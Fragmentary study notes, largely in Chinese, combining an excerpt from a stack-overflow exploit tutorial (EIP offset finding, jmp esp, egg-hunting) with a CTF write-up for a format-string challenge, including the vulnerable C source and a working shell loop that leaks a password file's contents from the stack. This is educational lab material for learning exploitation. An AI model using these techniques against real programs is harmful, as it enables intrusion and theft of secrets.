Format string bug basic 1

Z3:: big 表示大端序 即末尾放在高地址处 即顺序保持不变
地址:0x804810: – : 0x804820

Exploit writing tutorial part 1 : Stack Based Overflows

ax 16位
al 8位

mov     rax, [rbp+var_E0] ;rax=0xc8    0xdf    0xff    0xff    0xff    0x7f
mov     rax, [rax] ; rax=0x7fffffffe2f4
mov     [rbp+input], rax ;
mov     rax, [rbp+input] ; rax=0x7fffffffe2f4
mov     rdi, rax        ; s
call    _strlen

寻找确定位置

msf-pattern_create -l 5000
At this time, eip contains 0x356b4234 (note : little endian : we have overwritten EIP with 34 42 6b 35 = 4Bk5

msf-pattern_offset 0x356b4234 5000
计算pattern 偏移值

1094. That’s the buffer length needed to overwrite EIP. So if you create a file with 25000+1094 A’s, and then add 4 B’s (42 42 42 42 in hex)
EIP should contain 42 42 42 42.


清理函数

POP 出下一跳地址后, ESP 不是指向”下一个栈地址“
·ESP从模式的第5个字符开始,而不是第一个字符。
·(由于调用约定,当将参数传递给子函数时,子函数将清理父函数使用的堆栈空间,所以造成ESP不是指向下一个栈地址)


跳转

将EIP 写为指向jmp esp的地址,shellcode写在esp指向的地址处

windbg::
s 01b10000 l 01fdd000 ff e4
search 在这之间寻找机器码为 ff e4 的指令


NULL 字节

The null byte would become a string terminator and the rest of the buffer data will become unusable)

Alternatively, you can split up your shellcode in smaller ‘eggs’ and use a technique called ‘egg-hunting’ to reassemble the shellcode before executing it.

ELF x86 - Format string bug basic 1

http://showlinkroom.me/2017/01/28/pwn-learn-printf/

1
2
3
4
5
6
7
8
9
10
11
12
13
|   符号           |       作用               |
-----------------------------------------------
| %d | 十进制有符号整数 |
| %u | 十进制无符号整数 |
| %f | 浮点数 |
| %s | 字符串 |
| %c | 单个字符 |
| %p | 指针的值 |
| %e | 指数形式的浮点数 |
| %x | 无符号以十六进制表示的整数|
| %o | 无符号以八进制表示的整数 |
| %g | 自动选择合适的表示法 |
| %n | 将printf之前已经输出的字符串个数赋给指定参数(此时参数提供地址)|

题目源码

1
2
3
4
5
6
7
8
9
10
11
#include <stdio.h>
#include <unistd.h>

int main(int argc, char *argv[]){
FILE *secret = fopen("/challenge/app-systeme/ch5/.passwd", "rt");
char buffer[32];
fgets(buffer, sizeof(buffer), secret);
printf(argv[1]);
fclose(secret);
return 0;
}

printf ("%s%s%s%s%s%s%s%s%s%s%s%s");

Because ‘%s’ displays memory from an address that is supplied on the stack, where a lot of other data is stored, too, our chances are high to readfrom anillegal address, which is not mapped.

printf ("Number %d has no address, number %d has: %08x\n", i, a, &a);
stack top. . .<&a><a><i>A. . .stack bottom

DVLAYV.png

可以直接读栈里的内容


查看栈里的内容

printf ("%08x.%08x.%08x.%08x.%08x\n");
This works, because we instruct the printf-function to retrieve five parameters from the stack and display them as 8-digit padded hexadecimalnumbers. So a possible output may look like:40012980.080628c4.bffff7a4.00000005.08059c04

查看任意地址内容

%s string ((const) (unsigned) char *) reference
‘%s’参数恰好做到了,它显示了堆栈提供的地址中的内存。

DVLc6g.png


当我在GDB中执行fgets()的时候。
but if we try to debug the programm with GDB, we get a permission denied on the fgets() call

gdb-peda$ help telescope 
Display memory content at an address with smart dereferences
Usage:
    telescope [linecount] (analyze at current $SP)
    telescope address [linecount]

大佬的方法

for i in `seq 1 20`; do ~/ch5 "%$i"'$08X' ; echo; done

一次打印8个字节

for i in `seq 1 2 20`; do ./ch5 "%$i"'$08X'"%$((i+1))"'$08X'; echo; done
1
2
3
4
# Finally, we want to
- convert to big endian, using sed -r ’s/(..)(..)(..)(..)/\4\3\2\1/g’
- convert the hexa to printable character, using xxd -r -p
- filter non-printable charaters, using strings

filtering only 13-or-more-bytes strings (strings -13)

1
2
3
4
strings -13 < <(for i in `seq 1 20`; \
do ~/ch5 "%$i"'$08X'"%$((i+1))"'$08X'"%$((i+2))"'$08X'"%$((i+3))"'$08X' \
|sed -r 's/(..)(..)(..)(..)/\4\3\2\1/g' \
|xxd -r -p; echo; done)

注::

┌─[zentreisender@parrotos]─[~/Documents]
└──╼ $strings -h
Usage: strings [option(s)] [file(s)]
 Display printable strings in [file(s)] (stdin by default)